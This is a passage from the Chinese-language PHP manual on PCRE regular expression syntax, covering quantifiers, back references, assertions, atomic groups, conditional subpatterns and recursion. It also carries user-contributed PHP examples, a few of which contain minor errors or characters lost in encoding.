早期版本的 Perl 和 PCRE 对于这种模式会在编译期得到一个错误。然而， 由于这在某些情况下是有用的，因此现在也接受这种模式了， 但是如果任何子模式的重复确实匹配不到任何字符，循环会被强制跳出。

默认情况下，量词都是"贪婪"的，也就是说， 它们会在不导致模式匹配失败的前提下，尽可能多的匹配字符(直到最大允许的匹配次数)。 这种问题的典型示例就是尝试匹配C语言的注释。 出现在 /* 和 */ 之间的所有内容都被认为是注释， 在注释中间， 可以允许出现单独的 * 和 /。 对 C 注释匹配的一个尝试是使用模式 /\*.*\*/ ， 假设将此模式应用在字符串 " /* first comment*/ not comment /*second comment*/" 它会匹配到错误的结果，也就是整个字符串， 这是因为量词的贪婪性导致的，它会尝试尽可能多的匹配字符。

然而，如果一个量词紧跟着一个 ?(问号) 标记，它就会成为懒惰(非贪婪)模式， 它不再尽可能多的匹配，而是尽可能少的匹配。 因此模式 /\*.*?\*/ 在 C 的注释匹配上将会正确的执行。 各个量词自身的意义并不会改变，而是由于加入了 ? 使其首选的匹配次数发生改变。 不要将 ? 的这个用法和它作为量词的用法混淆。因为它又两种用法， 因此有时它会出现量词，比如 \d??\d 会更倾向于匹配一个数字， 但同时如果为了达到整个模式匹配的目的，它也可以接受两个数字的匹配。译注：以模式 \w\d??\d\w 为例，对于字符串 "a33a"，虽然 \d?? 是非贪婪的， 但由于如果使用贪婪会导致整个模式不匹配，所以， 最终它选择的仍然是匹配到一个数字。

如果 PCRE_UNGREEDY 选项被设置(一个在 perl 中不可用的选项)， 那么量词默认情况下就是非贪婪的了。但是， 单个的量词可以通过紧跟一个 ? 来使其成为贪婪的。换句话说， PCRE_UNGREEDY 这个选项逆转了贪婪的默认行为。

量词后面紧跟一个 "+" 是"占有"性。它会吃掉尽可能多的字符， 并且不关注后面的其他模式，比如 .*abc 匹配 "aabc"， 但是 .*+abc 不会匹配， 因为 .*+ 会吃掉整个字符串，从而导致后面剩余的模式得不到匹配。 可以使用占有符 (+) 修饰量词来达到提升速度的目的。

当一个子组受最小数量大于 1 或有一个最大数量限制的量词修饰时， 按照最小或最大的数量的比例需要更多的存储用于编译模式。

如果一个模式以 .* 或 .{0,} 开始并且 PCRE_DOTALL 选项开启(等价于 Perl 的 /s)， 也就是允许 . 匹配换行符，那么模式会隐式的紧固，因为不管怎么样， 接下来都会对目标字符串中的每个字符位置进行尝试，因此在第一次之后， 在任何位置都不会有一个对所有匹配重试的点。 PCRE 会想对待 \A 一样处理这个模式。 在我们已知目标字符串没有包含换行符的情况下， 当模式以 .* 开始的时候我们为了获得这个优化，值得设置 PCRE_DOTALL， 或者选择使用 ^ 明确指明锚定。

译注：这里的优化指模式不匹配之后，不会回头再来查找下一个位置， 比如没有设置 PCRE_DOTALL，并且目标字符串第一个字符时换行符， 那么模式尝试第一个字符，发现不匹配， 会重新用模式从第二个字符位置开始进行尝试。 而使用了PCRE_DOTALL后， 是肯定匹配的....同理，当使用了 ^ 或者 /A的限定是，模式一旦不匹配，都可以直接退出， 而不用在目标字符串下一个位置再一次开始整个模式的匹配。

当一个捕获子组时重复的时，捕获到的该子组的结果是最后一次迭代捕获的值。比如， (tweedle[dume]{3}\s*)+ 匹配字符串 "tweedledum tweedledee"， 得到的的子组捕获结果是 "tweedledee"。然而，如果是嵌套的捕获子组， 相应的捕获值可能会被设置到之前的迭代中。 比如， /(a|(b))+/ 匹配字符串 "aba"， 第二个捕获子组得到的结果会是 "b"。译注：以例子说明， b 是第二个子组最后一次捕获到的结果，所以， 第二个子组最后结果是 b， 这是符合"然而"之前描述的规则的。

User Contributed Notes

There are no user contributed notes for this page.


后向引用

在一个字符类外面， 反斜线紧跟一个大于 0 (可能还有一位数)的数字就是一个到模式中之前出现的某个捕获组的后向引用。

如果紧跟反斜线的数字小于 10，它总是一个后向引用，并且如果在模式中没有足够多的捕获组，将会引发一个错误。换而言之，被引用的括号不能少于被引用的小于 10 的数量。 A "forward back reference" can make sense when a repetition is involved and the subpattern to the right has participated in an earlier iteration. 查看转义序列查看具体的数字处理方式。

一个后向引用会直接匹配被引用捕获组在目标字符串中实际捕获到的内容， 而不是匹配子组模式的内容。因此，模式 (sens|respons)e and \1ibility 将会匹配 "sense and sensibility" 和 "response and responsibility"， 而不会匹配 "sense and responsibility"。 如果在后向引用时被强制进行了大小写敏感匹配, 比如 ((?i)rah)\s+\1 匹配 "rah rah"和"RAH RAH"，但是不会匹配 "RAH rah"， 即使原始捕获子组自身是不区分大小写的。 译注： 这里其实要考虑的是后向引用期望得到的内容是和那个被引用的捕获子组得到的内容是完全一致的(当然， 我们可以通过在后向引用之前设定内部选项使其不区分大小写，或者增加模式修饰符， 同样可以达到不区分大小写的目的，但是, 这种做法实际上是从外部对其行为进行了控制。)

可能会有超过一个的后向引用引用相同的子组。 一个子组可能并不会真正的用于特定的匹配，此时， 任何对这个子组的后向引用也都会失败。 比如， 模式 (a|(bc))\2 总是在匹配 "a" 开头而不是 "bc" 开头的字符串时失败。 因为可能会有多达 99 个后向引用， 所有紧跟反斜线后的数字都可能是一个潜在的后向引用计数。 如果模式在后向引用之后紧接着还是一个数值字符， 那么必须使用一些分隔符用于终结后向引用语法。 如果设置了 PCRE_EXTENDED 选项， 可以使用空格来做。其他情况下可以使用一个空的注释。

如果一个后向引用出现在它所引用的子组内部， 它的匹配就会失败。比如， (a\1) 就不会得到任何匹配。然而这种引用可以用于内部的子模式重复。比如， 模式 (a|b\1)+ 会匹配任意数量的 "a" 组成的字符串以及 "aba"， "ababba" 等等(译注： 因为子组内部有一个可选路径，可选路径中有一条路能够完成匹配，在匹配完成后， 后向引用就能够引用到内容了)。在每次子模式的迭代过程中， 后向引用匹配上一次迭代时这个子组匹配到的字符串。为了做这种工作， 模式必须满足这样一个条件，模式在第一次迭代的时候， 必须能够保证不需要匹配后向引用。 这种条件可以像上面的例子用可选路径来实现，也可以通过使用最小值为 0 的量词修饰后向引用的方式来完成。

转义序列 \g 可以用于子模式的绝对引用和相对引用。 这个转义序列必须紧跟一个无符号数字或一个负数， 可以选择性的使用括号对数字进行包裹。 序列\1， \g1，\g{1} 之间是同义词关系。 这种用法可以消除使用反斜线紧跟数值描述反向引用时候产生的歧义。 这种转义序列有利于区分后向引用和八进制数字字符， 也使得后向引用后面紧跟一个原文匹配数字变的更明了，比如 \g{2}1。

\g 转义序列紧跟一个负数代表一个相对的后向引用。比如： (foo)(bar)\g{-1} 可以匹配字符串 "foobarbar"， (foo)(bar)\g{-2} 可以匹配 "foobarfoo"。 这在长的模式中作为一个可选方案， 用来保持对之前一个特定子组的引用的子组序号的追踪。

后向引用也支持使用子组名称的语法方式描述： (?P=name)、\k<name>、 \k'name'、\k{name}、 \g{name}、\g<name>、 \g'name'。

User Contributed Notes

Steve 12-Oct-2022 09:22
The escape sequence \g used as a backreference may not always behave as expected.
The following numbered backreferences refer to the text matching the specified capture group, as documented:
\1
\g1
\g{1}
\g-1
\g{-1}

However, the following variants refer to the subpattern code instead of the matched text:
\g<1>
\g'1'
\g<-1>
\g'-1'

With named backreferences, we may also use the \k escape sequence as well as the (?P=...) construct. The following combinations also refer to the text matching the named capture group, as documented:
\g{name}
\k{name}
\k<name>
\k'name'
(?P=name)

However, these refer to the subpattern code instead of the matched text:
g<name>
\g'name'

In the following example, the capture group searches for a single letter 'a' or 'b', and then the backreference looks for the same letter. Thus, the patterns are expected to match 'aa' and 'bb', but not 'ab' nor 'ba'.

<?php
/* Matches to the following patterns are replaced by 'xx' in the subject string 'aa ab ba bb'. */
$patterns = [
  # numbered backreferences (absolute)
  '/([ab])\1/',      // 'xx ab ba xx'
  '/([ab])\g1/',     // 'xx ab ba xx'
  '/([ab])\g{1}/',   // 'xx ab ba xx'
  '/([ab])\g<1>/',   // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  "/([ab])\g'1'/",   // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  '/([ab])\k{1}/',   // 'aa ab ba bb' # No group with name "1", backreference to unset group always fails.
  '/([ab])\k<1>/',   // 'aa ab ba bb' # No group with name "1", backreference to unset group always fails.
  "/([ab])\k'1'/",   // 'aa ab ba bb' # No group with name "1", backreference to unset group always fails.
  '/([ab])(?P=1)/',  // NULL # Regex error: "subpattern name must start with a non-digit", (?P=) expects name not number.
  # numbered backreferences (relative)
  '/([ab])\-1/',     // 'aa ab ba bb'
  '/([ab])\g-1/',    // 'xx ab ba xx'
  '/([ab])\g{-1}/',  // 'xx ab ba xx'
  '/([ab])\g<-1>/',  // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  "/([ab])\g'-1'/",  // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  '/([ab])\k{-1}/',  // 'aa ab ba bb' # No group with name "-1", backreference to unset group always fails.
  '/([ab])\k<-1>/',  // 'aa ab ba bb' # No group with name "-1", backreference to unset group always fails.
  "/([ab])\k'-1'/",  // 'aa ab ba bb' # No group with name "-1", backreference to unset group always fails.
  '/([ab])(?P=-1)/', // NULL # Regex error: "subpattern name expected", (?P=) expects name not number.
  # named backreferences
  '/(?<name>[ab])\g{name}/',  // 'xx ab ba xx'
  '/(?<name>[ab])\g<name>/',  // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  "/(?<name>[ab])\g'name'/",  // 'xx xx xx xx' # unexpected behavior, backreference matches both 'a' and 'b'.
  '/(?<name>[ab])\k{name}/',  // 'xx ab ba xx'
  '/(?<name>[ab])\k<name>/',  // 'xx ab ba xx'
  "/(?<name>[ab])\k'name'/",  // 'xx ab ba xx'
  '/(?<name>[ab])(?P=name)/', // 'xx ab ba xx'
];

foreach ($patterns as $pat)
    echo "  '$pat',\t// " . var_export(@preg_replace($pat, 'xx', 'aa ab ba bb'), 1) . PHP_EOL;
?>
mnvx at yandex dot ru 07-Jul-2016 09:35
Something similar opportunity is DEFINE.

Example:
    (?(DEFINE)(?<myname>\bvery\b))(?&myname)\p{Pd}(?&myname).

Expression above will match "very-very" from next sentence:
    Define is very-very handy sometimes.
              ^-------^

How it works. (?(DEFINE)(?<myname>\bvery\b)) - this block defines "myname" equal to "\bvery\b". So, this block "(?&myname)\p{Pd}(?&myname)" equvivalent to "\bvery\b\p{Pd}\bvery\b".


断言

一个断言就是一个对当前匹配位置之前或之后的字符的测试， 它不会实际消耗任何字符。简单的断言代码有\b、\B、 \A、 \Z、\z、 ^、$ 等，在 转义序列(反斜线) 中有描述。 更加复杂的断言以子组的方式编码。 它有两种类型： 前瞻断言(从当前位置向前测试)和后瞻断言(从当前位置向后测试)。

一个断言子组的匹配还是通过普通方式进行的， 不同在于它不会导致当前的匹配点发生改变。 前瞻断言中的正面断言(断言此匹配为真)以 "(?=" 开始，消极断言以 "(?!" 开头。比如， \w+(?=;) 匹配一个单词紧跟着一个分号但是匹配结果不会包含分号， foo(?!bar) 匹配所有后面没有紧跟 "bar" 的 "foo" 字符串。 注意一个类似的模式 (?!foo)bar 它不能用于查找之前出现所有不是 "foo" 的 "bar" 匹配， 它会查找到任意的 "bar" 出现的情况， 因为 (?!foo) 这个断言在接下来三个字符时 "bar" 的时候是永远都 true 的。 前瞻断言需要达到的就是这样的效果。

后瞻断言中的正面断言以"(?<="开始, 消极断言以"(?<!"开始。比如， (?<!foo)bar 用于查找任何前面不是 "foo" 的 "bar"。 后瞻断言的内容被严格限制为只能用于匹配定长字符串。但是，如果有多个可选分支， 它们不需要拥有相同的长度。比如 (?<=bullock|donkey) 是允许的， 但是 (?<!dogs?|cats?) 将会引发一个编译期的错误。在最上级分支可以匹配不同长度的字符串是允许的。 相比较于 perl 5.005 而言，它会要求多个分支使用相同长度的字符串匹配。 (?<=ab(c|de)) 这样的断言是不允许的， 因为它单个的顶级分支可以匹配两个不同的长度， 但是它可以接受使用两个顶级分支的写法 (?<=abc|abde) 这样的断言实现， 对于每个可选分支，暂时将当前位置移动到尝试匹配的当前位置之前的固定宽度处。 如果在当前没有足够的字符就视为匹配失败。后瞻断言与一次性子组结合使用可以用来匹配字符串结尾； 一个例子就是在一次性子组上给出字符串结尾。

多个断言(任意顺序)可以同时出现。 比如 (?<=\d{3})(?<!999)foo 匹配前面有三个数字但不是 "999" 的字符串 "foo"。注意， 每个断言独立应用到对目标字符串该点的匹配。 首先它会检查前面的三位都是数字， 然后检查这三位不是 "999"。 这个模式不能匹配 "foo" 前面有三位数字然后紧跟 3 位非 999 共 6 个字符的字符串，比如， 它不匹配 "123abcfoo"。 匹配 "123abcfoo" 这个字符串的模式可以是 (?<=\d{3}...)(?<!999)foo。

这种情况下，第一个断言查看(当前匹配点)前面的 6 个字符，检查前三个是数字， 然后第二个断言检查(当前匹配点)前三个字符不是 "999"。

断言可以以任意复杂度嵌套。 比如 (?<=(?<!foo)bar)baz 匹配前面有 "bar" 但是 "bar" 前面没有 "foo" 的 "baz"。 另外一个模式 (?<=\d{3}...(?<!999))foo 则匹配前面有三个数字字符紧跟 3 个不是 999 的任意字符的 "foo"。

断言子组时非捕获子组，并且不能用量词修饰， 因为对同一件事做多次断言是没有意义的.如果所有的断言都包含一个捕获子组， 那么为了在整个模式中捕获子组计数的目的，它们都会被计算在内。然而， 子字符串的捕获仅可以用于正面断言，因为对于消极的断言是没有意义的。

将断言计算在内，可以拥有的最大子组数量是 200 个。

User Contributed Notes

There are no user contributed notes for this page.


一次性子组

对于同时有最大值和最小值量词限制的重复项， 在匹配失败后， 紧接着会以另外一个重复次数重新评估是否能使模式匹配。 当模式的作者明确知道执行上没有问题时， 通过改变匹配的行为或者使其更早的匹配失败以阻止这种行为是很有用的。

考虑一个例子，模式 \d+foo 应用到目标行 123456bar 时：

在匹配了 6 个数字后匹配 "foo" 时失败，通常的行为时匹配器尝试使 \d+ 只匹配 5 个数字， 只匹配 4 个数字，在最终失败之前依次进行尝试。 一次性子组提供了一种特殊的意义， 当模式的一部分得到匹配后，不再对其进行重新评估， 因此匹配器在第一次匹配 "foo" 失败后就能立刻失败。语法符号是另外一种特殊的括号， 以 (?> 开始，比如 (?>\d+)bar

这种括号对模式的一部分提供了"锁定"，当它包含一个匹配之后， 会阻止未来模式失败后对它内部的后向回溯。后向回溯在这里失效， 其他工作照常进行。

换一种说法，如果在目标字符串中当前匹配点是锚点， 这种类型的子组匹配的字符串等同于一个独立的模式匹配。

一次性子组不是捕获子组。如上面的例子，简单而言， 就是尽其所能吃掉尽可能多的匹配字符。因此， 尽管 \d+ 和 \d+? 都会调整要匹配的数字的个数以便模式的其他部分匹配， (?>\d+) 却仅能匹配整个数字序列。

这个(语法)结构可以包含任意复杂度的字符， 也可以嵌套。

一次性子组可以和后瞻断言结合使用来指定在目标字符串末尾的有效匹配。 考虑当一个简单的模式比如 abcd$ 应用到一个不匹配的长字符串上。 由于匹配时从左到右处理的， PCRE会从目标中查找每一个 "a" 然后查看是否紧接着会匹配模式的剩余部分。 如果模式是 ^.*abcd$ ， 那么初始的 .* 将首先匹配整个字符串，但是当它失败后(因为紧接着不是 "a")， 它会回溯所有的匹配，依次吐出最后 1 个字符，倒数第 2 个字符等等。 从右向左查找整个字符串中的 "a"， 因此，我们不能很好的退出。然而， 如果模式写作 ^(?>.*)(?<=abcd) 那么它就不会回溯 .* 这一部分， 它仅仅用于匹配整个字符串。后瞻断言对字符串末尾的后四个字符做了一个测试。 如果它失败，匹配立即失败。对于长字符串， 这个模式将会带来显著的处理时间上的性能提升。

当一个模式中包含一个子组自己可以无限重复并且内部有无限重复元素时， 使用一次性子组是避免一些失败匹配消耗大量时间的唯一途径。 模式 (\D+|<\d+>)*[!?] 匹配一个不限制数目的非数字字符或由 <> 闭合的数字字符紧跟着 ! 或 ?。 当它匹配的时候，运行时快速的。然而， 如果它应用到 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 上将会在报告错误之前消耗很多时间。 这是因为字符串可以用于两种重复规则，并且需要为两种重复规则都分配进行尝试。 (示例的结尾使用 [!?] 而不是单个的字符， 是因为 PCRE 和 perl 都会对模式最后是一个单独字符时的快速报错有优化。 它们会记录最后需要匹配的单个字符，当它们没有出现在字符串中时快速报错。) 如果模式修改为 ((?>\D+)|<\d+>)*[!?] 就会快速得到报错。(译注： 对于这里给出的模式，当目标字符串更长的时候，消耗时间会迅速增加，慎用。)

User Contributed Notes

Anonymous 21-Jul-2022 09:21
Never put a "once-only subpattern" (?>...) in a "one-line" comment (#, //).
I spent almost 1 day to fix it.
Use a 'C' style comment instead !

PHP Manual says, a "one-line" comment (# , //) ends just before "?>" (PHP end tag).

These letters "?>" in a "one-line" comment (# , //) seems evaluated as a PHP end tag.

<?php

/*    (?> */
echo '"C" style comment works !<br>';

#    (?>
echo '"one-line" comment';

?>


条件子组

可以使匹配器根据一个断言的结果， 或者之前的一个捕获子组是否匹配来条件式的匹配一个子组或者在两个可选子组中选择。 条件子组的两种语法如下：

(?(condition)yes-pattern)
(?(condition)yes-pattern|no-pattern)

如果条件满足，使用 yes-pattern，其他情况使用 no-pattern(如果指定了)。 如果有超过 2 个的可选子组，会产生给一个编译期错误。

条件一共有两种。如果在(condition)的括号内是数字组成的文本， 条件在该数字代表的(之前的)子组得到匹配时满足(即使用 yes-pattern)。 考虑下面的模式， 为了使其易于阅读其中增加了一些空白字符(查看PCRE_EXTENDED 选项)并且将其分为三个部分：

( \( )?    [^()]+    (?(1) \) )

模式的第一部分匹配一个可选的左括号，并且如果该字符出现， 设置其为第一个子组的捕获子串。第二部分匹配一个或多个非括号字符。 第三部分是一个条件子组，它会测试第一个子组是否匹配，如果匹配到了， 也就是说目标字符串以左括号开始，条件为true， 那么使用 yes-pattern 也就是这里需要匹配一个右括号。其他情况下， 既然 no-pattern 没有出现，这个子组就不匹配任何东西。换句话说， 这个模式匹配一个没有括号的或者闭合括号包裹的字符序列。

如果条件式字符串 (R)，它在得到对模式或子模式的递归调用时满足。 在"最上级"，条件总是false。

如果条件不是数字序列或(R)，它就必须是一个断言。这里的断言可以使任意的，积极， 消极，正向，后向都是可以的。考虑这个模式， 同样为了方便阅读， 增加了一些空白字符，并且在第二行有两个可选路径。

(?(?=[^a-z]*[a-z])
\d{2}-[a-z]{3}-\d{2}  |  \d{2}-\d{2}-\d{2} )

条件式一个正向积极断言，匹配一个可选的非小写字母字符序列紧接着一个小写字母。 换一种说法，它测试目标中至少出现一个小写字母，如果小写字母发现， 目标匹配第一个可选分支，其他情况下它匹配第二个分支。 这个模式匹配两种格式的字符串：dd-aaa-dd 或 dd-dd-dd。aaa 代表小写字母， dd 是数字。

User Contributed Notes

Anonymous 06-Feb-2011 09:26
Repetition of a subpattern will repeat conditionals that are contained inside it, updating subpattern matches with iteration.

Consider the following code, which scans thru HTML, keeping track of angle brackets "<" ">".  If open bracket "<" matches, then closing bracket ">" must follow before repetition can possibly end.  That way regex will effectively match only outside of tags.

<?php
$pattern='%(*ANY)(.*?(<)(?(2).*?>)(.*?))*?\'\'%s';
$replace='\1Fred';
$subject=
'<html><body class=\'\'>\'\' went to '\'\meyer and ran
into <b>\'\'</b>.
</body></html>'
echo preg_replace("%(*ANY)(.*?((<)(?(3).*?>).*?)*?)\'\'%s",'\1Fred',$subject);
?>

Output will be:
'<html><body class=\'\'>Fred went to Fredmeyer and ran
into <b>Fred</b>.
</body></html>'


注释

字符序列(?#标记开始一个注释直到遇到一个右括号。不允许嵌套括号。 注释中的字符不会作为模式的一部分参与匹配。

如果设置了 PCRE_EXTENDED 选项， 一个字符类外部的未转义的 # 字符就代表本行剩余部分为注释。

Example #1 PCRE 模式中注释的用法

<?php

$subject = 'test';

/* (?# 可用于添加注释而不启用 PCRE_EXTENDED */
$match = preg_match('/te(?# this is a comment)st/', $subject);
var_dump($match);

/* 除非启用 PCRE_EXTENDED，否则空格和 # 视为模式的一部分 */
$match = preg_match('/te #~~~~
st/', $subject);
var_dump($match);

/* 启用 PCRE_EXTENDED 后，所有空白数据字符以及
同一行未转义的 # 后面的任何内容都将会忽略 */
$match = preg_match('/te #~~~~
st/x', $subject);
var_dump($match);

以上示例会输出：

int(1)
int(0)
int(1)

User Contributed Notes

asamaru at asamaru dot net 24-Jan-2017 12:00
<?php
$string = 'test';
echo preg_match('/te(?# comments)st/', $string) . "\n";
echo preg_match('/te#~~~~
st/', $string) . "\n";
echo preg_match('/te#~~~~
st/x', $string) . "\n";

// result
// 1
// 0
// 1


递归模式

考虑匹配圆括号内字符串的问题，允许无限嵌套括号。如果不使用递归， 最好的方式是使用一个模式匹配固定深度的嵌套。它不能处理任意深度的嵌套。 perl 5.6 提供了一个实验性的功能允许正则表达式递归。 特殊项 (?R) 提供了递归的这种特殊用法。 这个PCRE模式解决了圆括号问题(假设 PCRE_EXTENDED 选项被设置了， 因此空白字符被忽略)： \( ( (?>[^()]+) | (?R) )* \)

首先，它匹配一个左括号。 然后它匹配任意数量的非括号字符序列或一个模式自身的递归匹配(比如， 一个正确的括号子串)，最终，匹配一个右括号。

这个例子模式包含无限重复的嵌套，因此使用了一次性子组匹配非括号字符， 这在模式应用到模式不匹配的字符串时非常重要。比如， 当它应用到 (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa() 时就会很快的产生"不匹配"结果。 然而，如果不使用一次性子组，这个匹配将会运行很长时间， 因为有很多途径让 + 和 * 重复限定分隔目标字符串， 并且在报告失败之前需要测试所有路径。

所有捕获子组最终被设置的捕获值都是从递归最外层子模式捕获的值。 如果上面的模式匹配 (ab(cd)ef) ，捕获子组最终被设置的值为 "ef"， 即顶级得到的最后一个值。如果增加了额外的括号 \( ( ( (?>[^()]+) | (?R) )* ) \) 捕获到的字符串就是顶层括号的匹配内容 "ab(cd)ef"。 如果在模式中有超过 15 个捕获括号， PCRE 在递归期间就会使用 pcre_malloc 分配额外的内存来存储数据， 随后通过 pcre_free 释放他们。如果没有内存可被分配，它就仅保存前 15 个捕获括号， 在递归内部无法给出内存不够用的错误。

(?1)、(?2) 等可以用于递归子组。 这同样可以用于命名子组： (?P>name) 或 (?P&name)。

如果递归子组语法在它提到的子组括号外部使用(无论是子组数字序号还是子组名称)， 这个操作就相当于程序设计语言中的子程序。 前面一些有一个例子指出模式 (sens|respons)e and \1ibility 匹配 "sense and responsibility" 和 "response and responsibility"，但是不匹配 "sense and responsibility"。如果用模式 (sens|respons)e and (?1)ibility 替代， 它会像匹配那两个字符串一样匹配 "sense and responsibility"。 这种引用方式意义是紧接着匹配引用的子模式。(译注: 后向引用只匹配引用的子组之前匹配的结果, 这里的递归语法引用是拿引用的子模式重新匹配。)

目标字符串的最大长度是 int 型变量可以存储的最大正整数。然而， PCRE 使用递归处理子组和无限重复。 这就是说对于某些模式可用的栈空间可能会受目标字符串限制。

User Contributed Notes

mzvarik at gmail dot com 18-Nov-2020 10:53
This regexp can be used for parsing IF conditions.

$str = '
(IF_MYVAR)My var is printed
(OR_MYVARTWO)My var two is printed
(OR_ANOTHER)if you use OR you don't have to END everytime
(ELSE)Whatever bro(END)

(IF_BLUE)Something (IF_SUPERB)super(END) blue - this is simple IF condition(END)
';

function isCondition($k) {
    // put your user conditions here
    $conds = [];
    $conds['BLUE'] = true;
    $conds['MYVARTWO'] = true;
    $conds['ELSE'] = true; // always true
     return $conds[$k];
}

function findConditions($str) {

    $pattern = '~ \(if_([^\)]+)\) ((?: (?!\((end|if_)). | (?R) )*+) \(end\) ~xis';

    $str = preg_replace_callback($pattern, function($m) {

        $k = $m[1];
        $v = $m[2];
        $v = findConditions($v) ?: $v;

        $ors = preg_split('~(?=\((OR_[^\)]+|ELSE))~is', $v);

        $v = array_shift($ors); // hlavní

        if (isCondition($k)) return findConditions($v);
        else {
            foreach ($ors as $or) {
                list($k, $v) = explode(")", $or, 2);
                $k = substr($k, 1);
                if (isCondition($k)) return findConditions($v);
            }
        }
        return ''; // no matching condition
    }, $str);
    return $str;
};

// will output:  Whatever bro  \n\n  Something blue
echo findConditions($str);
Anonymous 04-Aug-2016 09:11
sass parse sample

<?php

$data = 'a { b { 1 } c { d { 2 } } }';

preg_match('/a (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);
preg_match('/b (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);
preg_match('/c (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);
preg_match('/d (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);

/*
Array (
    [0] => a { b { 1 } c { d { 2 } } }
    [R] => { b { 1 } c { d { 2 } } }
    [1] => { b { 1 } c { d { 2 } } }
)
Array (
    [0] => b { 1 }
    [R] => { 1 }
    [1] => { 1 }
)
Array (
    [0] => c { d { 2 } }
    [R] => { d { 2 } }
    [1] => { d { 2 } }
)
Array (
    [0] => d { 2 }
    [R] => { 2 }
    [1] => { 2 }
)
*/
horvath at webarticum dot hu 15-Apr-2013 12:09
Below are some reusable patterns. I used comments with the 'x' modifier for human-readability.

You can write also a function, that generates patterns for specified bracket/quote pairs.

<?php

/* normal paretheses */
$simple_pattern = "(    (?#root pattern)
  (                     (?#text or expression)
    (?>[^\\(\\)]+)      (?#text)
    |
    \\((?-2)\\)         (?#expression and recursion)
  )*
)";

$simple_okay_text = "5( 2a + (b - c) ) - a * ( 2b - (c * 3(b - (c + a) ) ) )";
$simple_bad_text = "5( 2)a + (b - c) ) - )a * ( ((2b - (c * 3(b - (c + a) ) ) )";

echo "Simple pattern results:\n";
var_dump(preg_match("/^$simple_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$simple_pattern\$/x",$simple_bad_text));
echo "\n----------\n";

/* some brackets */
$full_pattern = "(                  (?#root pattern)
  (                                 (?#text or expression)
    (?>[^\\(\\)\\{\\}\\[\\]<>]+)    (?#text not contains brackets)
    |
    (
      [\\(\\{\\[<]                  (?#start bracket)
        (?(?<=\\()(?-3)\\)|           (?#if normal)
        (?(?<=\\{)(?-3)\\}|           (?#if coursed)
        (?(?<=\\[)(?-3)\\]|           (?#if squared)
        (?1)\\>                       (?#else so if tag)
      )))                           (?#close nested-but-logically-the-some-level subpatterns)
    )
  )*
)";

$full_okay_text = "5( 2a + [b - c] ) - a * ( 2b - {c * 3<b - (c + a) > } )";
$full_bad_text = "5[ 2a + [b - c} ) - a * ( 2b - [c * 3(b - c + a) ) ) }";

echo "Full pattern results:\n";
var_dump(preg_match("/^$full_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$full_pattern\$/x",$full_okay_text));
var_dump(preg_match("/^$full_pattern\$/x",$full_bad_text));
echo "\n----------\n";

/* some brackets and quotes */
$extrafull_pattern = "(             (?#root pattern)
  (                                 (?#text or expression)
    (?>[^\\(\\)\\{\\}\\[\\]<>'\"]+) (?#text not contains brackets and quotes)
    |
    (
      ([\\(\\{\\[<'\"])             (?#start bracket)
        (?(?<=\\()(?-4)\\)|           (?#if normal)
        (?(?<=\\{)(?-4)\\}|           (?#if coursed)
        (?(?<=\\[)(?-4)\\]|           (?#if squared)
        (?(?<=\\<)(?-4)\\>|           (?#if tag)
        ['\"]                         (?#else so if static)
      ))))                          (?#close nested-but-logically-the-some-level subpatterns)
    )
  )*
)";

$extrafull_okay_text = "5( 2a + ['b' - c] ) - a * ( 2b - \"{c * 3<b - (c + a) > }\" )";
$extrafull_bad_text = "5( 2a + ['b' - c] ) - a * ( 2b - \"{c * 3<b - (c + a) > }\" )";

echo "Extra-full pattern results:\n";
var_dump(preg_match("/^$extrafull_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$full_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$extrafull_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$extrafull_bad_text));

/*

Outputs:

Simple pattern results:
int(0)
int(0)

----------
Full pattern results:
int(0)
int(0)
int(0)

----------
Extra-full pattern results:
int(0)
int(0)
int(0)
int(0)

*/

?>
horvath at webarticum dot hu 15-Apr-2013 12:07
With the (?R) item you can link only to the full pattern, because it quasi equals to (?0). You can not use anchors, asserts etc., and you can only check that string CONTAINS a valid hierarchy or not.

This is wrong: ^\(((?>[^()]+)|(?R))*\)$

However, you can bracketing the full expression, and replace (?R) to the relative link (?-2). This make it reusable. So you can check complex expressions, for example:
<?php

$bracket_system = "(\\(((?>[^()]+)|(?-2))*\\))"; // (reuseable)
$bracket_systems = "((?>[^()]+)?$bracket_system)*(?>[^()]+)?"; // (reuseable)
$equation = "$bracket_systems=$bracket_systems"; // Both side of the equation must be contain valid bracket systems
var_dump(preg_match("/^$equation\$/","a*(a-(2a+2))=4(a+3)-2(a-(a-2))")); // Outputs 'int(1)'
var_dump(preg_match("/^$equation\$/","a*(a-(2a+2)=4(a+3)-2(a-(a-2)))")); // Outputs 'int(0)'

?>

You can also catch multibyte quotes with the 'u' modifier (if you use UTF-8), eg:
<?php

$quoted = "(?((?>[^??]+)|(?-2))*?)"; // (reuseable)
$prompt = "[\\w ]+: $quoted";
var_dump(preg_match("/^$prompt\$/u","Your name: ?write here?")); // Outputs 'int(1)'

?>
Daniel Klein 06-Jun-2012 04:18
The order of non-mutually exclusive alternatives within a recursed sub-pattern is important.
<?php
$pattern = '/^(?<octet>[01]?\d?\d|2[0-4]\d|25[0-5])(?:\.(?P>octet)){3}$/';
?>

You might expect that this pattern will match any IP address in dotted-decimal notation (e.g. '123.45.67.89'). The pattern is intended to match four octets in the following ranges: 0-9, 00-99 & 000-255, each separated by a single dot. However, only the first octet can include values from 200-255; the remainder can only have values less than 200. The reason for this is that if the rest of the pattern fails, recursion is not back-tracked into to find an alternative match. The first part of the sub-pattern will match the first two digits of any octet from 200-255. The rest of the pattern will then fail because the third digit in the octet does not match either '\.' or '$'.

<?php
var_export(preg_match($pattern, '255.123.45.67')); // 1 (true)
